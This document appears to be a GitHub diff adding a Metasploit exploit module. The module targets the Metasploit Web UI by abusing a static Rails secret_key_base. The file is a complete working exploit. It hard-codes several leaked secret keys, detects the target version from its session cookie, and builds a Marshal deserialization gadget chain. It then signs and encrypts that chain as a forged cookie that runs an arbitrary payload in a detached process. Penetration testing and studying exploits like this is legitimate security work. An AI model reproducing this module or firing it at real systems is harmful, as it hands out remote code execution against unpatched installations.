|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + #Helper Classes copy/paste from Rails4 |
| 12 | + class MessageVerifier |
| 13 | + |
| 14 | + class InvalidSignature < StandardError; end |
| 15 | + |
| 16 | + def initialize(secret, options = {}) |
| 17 | + @secret = secret |
| 18 | + @digest = options[:digest] || 'SHA1' |
| 19 | + @serializer = options[:serializer] || Marshal |
| 20 | + end |
| 21 | + |
| 22 | + def generate(value) |
| 23 | + data = ::Base64.strict_encode64(@serializer.dump(value)) |
| 24 | + "#{data}--#{generate_digest(data)}" |
| 25 | + end |
| 26 | + |
| 27 | + def generate_digest(data) |
| 28 | + require 'openssl' unless defined?(OpenSSL) |
| 29 | + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) |
| 30 | + end |
| 31 | + |
| 32 | + end |
| 33 | + |
| 34 | + class MessageEncryptor |
| 35 | + |
| 36 | + module NullSerializer #:nodoc: |
| 37 | + |
| 38 | + def self.load(value) |
| 39 | + value |
| 40 | + end |
| 41 | + |
| 42 | + def self.dump(value) |
| 43 | + value |
| 44 | + end |
| 45 | + |
| 46 | + end |
| 47 | + |
| 48 | + class InvalidMessage < StandardError; end |
| 49 | + |
| 50 | + OpenSSLCipherError = OpenSSL::Cipher::CipherError |
| 51 | + |
| 52 | + def initialize(secret, *signature_key_or_options) |
| 53 | + options = signature_key_or_options.extract_options! |
| 54 | + sign_secret = signature_key_or_options.first |
| 55 | + @secret = secret |
| 56 | + @sign_secret = sign_secret |
| 57 | + @cipher = options[:cipher] || 'aes-256-cbc' |
| 58 | + @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer) |
| 59 | + # @serializer = options[:serializer] || Marshal |
| 60 | + end |
| 61 | + |
| 62 | + def encrypt_and_sign(value) |
| 63 | + @verifier.generate(_encrypt(value)) |
| 64 | + end |
| 65 | + |
| 66 | + def _encrypt(value) |
| 67 | + cipher = new_cipher |
| 68 | + cipher.encrypt |
| 69 | + cipher.key = @secret |
| 70 | + # Rely on OpenSSL for the initialization vector |
| 71 | + iv = cipher.random_iv |
| 72 | + #encrypted_data = cipher.update(@serializer.dump(value)) |
| 73 | + encrypted_data = cipher.update(value) |
| 74 | + encrypted_data << cipher.final |
| 75 | + [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--") |
| 76 | + end |
| 77 | + |
| 78 | + def new_cipher |
| 79 | + OpenSSL::Cipher::Cipher.new(@cipher) |
| 80 | + end |
| 81 | + |
| 82 | + end |
| 83 | + |
| 84 | + class KeyGenerator |
| 85 | + |
| 86 | + def initialize(secret, options = {}) |
| 87 | + @secret = secret |
| 88 | + @iterations = options[:iterations] || 2**16 |
| 89 | + end |
| 90 | + |
| 91 | + def generate_key(salt, key_size=64) |
| 92 | + OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size) |
| 93 | + end |
| 94 | + |
| 95 | + end |
| 96 | + |
| 97 | + include Msf::Exploit::Remote::HttpClient |
| 98 | + |
| 99 | + def initialize(info = {}) |
| 100 | + super(update_info(info, |
| 101 | + 'Name' => 'Metasploit Web UI Static secret_key_base Value', |
| 102 | + 'Description' => %q{ |
| 103 | + This module exploits the Web UI for Metasploit Community, Express and |
| 104 | + Pro where one of a certain set of Weekly Releases have been applied. |
| 105 | + These Weekly Releases introduced a static secret_key_base value. |
| 106 | + Knowledge of the static secret_key_base value allows for |
| 107 | + deserialization of a crafted Ruby Object, achieving code execution. |
| 108 | +
|
| 109 | + This module is based on |
| 110 | + exploits/multi/http/rails_secret_deserialization |
| 111 | + }, |
| 112 | + 'Author' => |
| 113 | + [ |
| 114 | + 'Justin Steven', # @justinsteven |
| 115 | + 'joernchen of Phenoelit <joernchen[at]phenoelit.de>' # author of rails_secret_deserialization |
| 116 | + ], |
| 117 | + 'License' => MSF_LICENSE, |
| 118 | + 'References' => |
| 119 | + [ |
| 120 | + ['OVE', '20160904-0002'], |
| 121 | + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401'], |
| 122 | + ['URL', 'https://github.com/justinsteven/advisories/blob/master/2016_metasploit_rce_static_key_deserialization.md'] |
| 123 | + ], |
| 124 | + 'DisclosureDate' => 'Sep 15 2016', |
| 125 | + 'Platform' => 'ruby', |
| 126 | + 'Arch' => ARCH_RUBY, |
| 127 | + 'Privileged' => false, |
| 128 | + 'Targets' => [ ['Automatic', {} ] ], |
| 129 | + 'DefaultTarget' => 0, |
| 130 | + 'DefaultOptions' => |
| 131 | + { |
| 132 | + 'SSL' => true |
| 133 | + } |
| 134 | + )) |
| 135 | + |
| 136 | + register_options( |
| 137 | + [ |
| 138 | + Opt::RPORT(3790), |
| 139 | + OptString.new('TARGETURI', [ true, 'The path to the Metasploit Web UI', "/"]), |
| 140 | + ], self.class) |
| 141 | + end |
| 142 | + |
| 143 | + |
| 144 | + # |
| 145 | + # This stub ensures that the payload runs outside of the Rails process |
| 146 | + # Otherwise, the session can be killed on timeout |
| 147 | + # |
| 148 | + def detached_payload_stub(code) |
| 149 | + %Q^ |
| 150 | + code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first |
| 151 | + if RUBY_PLATFORM =~ /mswin|mingw|win32/ |
| 152 | + inp = IO.popen("ruby", "wb") rescue nil |
| 153 | + if inp |
| 154 | + inp.write(code) |
| 155 | + inp.close |
| 156 | + end |
| 157 | + else |
| 158 | + Kernel.fork do |
| 159 | + eval(code) |
| 160 | + end |
| 161 | + end |
| 162 | + {} |
| 163 | + ^.strip.split(/\n/).map{|line| line.strip}.join("\n") |
| 164 | + end |
| 165 | + |
| 166 | + def check_secret(data, digest, secret) |
| 167 | + data = Rex::Text.uri_decode(data) |
| 168 | + keygen = KeyGenerator.new(secret,{:iterations => 1000}) |
| 169 | + sigkey = keygen.generate_key('signed encrypted cookie') |
| 170 | + digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), sigkey, data) |
| 171 | + end |
| 172 | + |
| 173 | + def get_secret(data, digest) |
| 174 | + secrets = [ |
| 175 | + ['4.12.0_2016061501', 'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7'], |
| 176 | + ['4.12.0_2016062101', '99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc'], |
| 177 | + ['4.12.0_2016062101', '446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde'], |
| 178 | + ['4.12.0_2016081001', '61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a'], |
| 179 | + ['4.12.0_2016081201', '23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32'], |
| 180 | + ['4.12.0_2016083001', '18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615'], |
| 181 | + ['unreleased build', 'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c'] |
| 182 | + ] |
| 183 | + for secret in secrets |
| 184 | + return secret if check_secret(data, digest, secret[1]) |
| 185 | + end |
| 186 | + [nil, nil] |
| 187 | + end |
| 188 | + |
| 189 | + def build_signed_cookie(secret) |
| 190 | + keygen = KeyGenerator.new(secret,{:iterations => 1000}) |
| 191 | + enckey = keygen.generate_key('encrypted cookie') |
| 192 | + sigkey = keygen.generate_key('signed encrypted cookie') |
| 193 | + crypter = MessageEncryptor.new(enckey, sigkey) |
| 194 | + |
| 195 | + # Embed the payload within detached stub |
| 196 | + code = |
| 197 | + "eval('" + |
| 198 | + Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) + |
| 199 | + "'.unpack('m0').first)" |
| 200 | + |
| 201 | + # Embed code within Rails 4 popchain |
| 202 | + cookie = "\x04\b" + |
| 203 | + "o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" + |
| 204 | + ":\x0E@instanceo" + |
| 205 | + ":\bERB\x07" + |
| 206 | + ":\t@src"+ Marshal.dump(code)[2..-1] + |
| 207 | + ":\x0c@lineno"+ "i\x00" + |
| 208 | + ":\f@method:\vresult:" + |
| 209 | + "\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00" |
| 210 | + |
| 211 | + crypter.encrypt_and_sign(cookie) |
| 212 | + end |
| 213 | + |
| 214 | + def check |
| 215 | + cookie_name = '_ui_session' |
| 216 | + |
| 217 | + vprint_status("Checking for cookie #{cookie_name}") |
| 218 | + res = send_request_cgi({ |
| 219 | + 'uri' => datastore['TARGETURI'] || "/", |
| 220 | + 'method' => 'GET', |
| 221 | + }, 25) |
| 222 | + |
| 223 | + unless res |
| 224 | + return Exploit::CheckCode::Unknown # Target didn't respond |
| 225 | + end |
| 226 | + |
| 227 | + if res.get_cookies.empty? |
| 228 | + return Exploit::CheckCode::Unknown # Target didn't send us any cookies. We can't continue. |
| 229 | + end |
| 230 | + |
| 231 | + match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) |
| 232 | + |
| 233 | + unless match |
| 234 | + return Exploit::CheckCode::Unknown # Target didn't send us a session cookie. We can't continue. |
| 235 | + end |
| 236 | + |
| 237 | + if match[1] == cookie_name |
| 238 | + vprint_status("Found cookie") |
| 239 | + else |
| 240 | + vprint_status("Adjusting cookie name to #{match[1]}") |
| 241 | + cookie_name = match[1] |
| 242 | + end |
| 243 | + |
| 244 | + vprint_status("Searching for proper secret") |
| 245 | + |
| 246 | + (version, secret) = get_secret(match[2], match[3]) |
| 247 | + |
| 248 | + if secret |
| 249 | + vprint_status("Found secret, detected version #{version}") |
| 250 | + Exploit::CheckCode::Appears |
| 251 | + else |
| 252 | + Exploit::CheckCode::Safe |
| 253 | + end |
| 254 | + end |
| 255 | + |
| 256 | + # |
| 257 | + # Send the actual request |
| 258 | + # |
| 259 | + def exploit |
| 260 | + cookie_name = '_ui_session' |
| 261 | + |
| 262 | + print_status("Checking for cookie #{cookie_name}") |
| 263 | + |
| 264 | + res = send_request_cgi({ |
| 265 | + 'uri' => datastore['TARGETURI'] || "/", |
| 266 | + 'method' => 'GET', |
| 267 | + }, 25) |
| 268 | + |
| 269 | + unless res |
| 270 | + fail_with(Failure::Unreachable, "Target didn't respond") |
| 271 | + end |
| 272 | + |
| 273 | + if res.get_cookies.empty? |
| 274 | + fail_with(Failure::UnexpectedReply, "Target didn't send us any cookies. We can't continue.") |
| 275 | + end |
| 276 | + |
| 277 | + match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) |
| 278 | + |
| 279 | + unless match |
| 280 | + fail_with(Failure::UnexpectedReply, "Target didn't send us a session cookie. We can't continue.") |
| 281 | + end |
| 282 | + |
| 283 | + if match[1] == cookie_name |
| 284 | + vprint_status("Found cookie") |
| 285 | + else |
| 286 | + print_status("Adjusting cookie name to #{match[1]}") |
| 287 | + cookie_name = match[1] |
| 288 | + end |
| 289 | + |
| 290 | + print_status("Searching for proper secret") |
| 291 | + |
| 292 | + (version, secret) = get_secret(match[2], match[3]) |
| 293 | + |
| 294 | + unless secret |
| 295 | + fail_with(Failure::NotVulnerable, "SECRET not found, target not vulnerable?") |
| 296 | + end |
| 297 | + |
| 298 | + print_status("Found secret, detected version #{version}") |
| 299 | + |
| 300 | + cookie = build_signed_cookie(secret) |
| 301 | + |
| 302 | + print_status "Sending cookie #{cookie_name}" |
| 303 | + res = send_request_cgi({ |
| 304 | + 'uri' => datastore['TARGETURI'] || "/", |
| 305 | + 'method' => 'GET', |
| 306 | + 'headers' => {'Cookie' => cookie_name+"="+ cookie}, |
| 307 | + }, 25) |
| 308 | + |
| 309 | + handler |
| 310 | + end |
| 311 | + |
| 312 | +end |
0 commit comments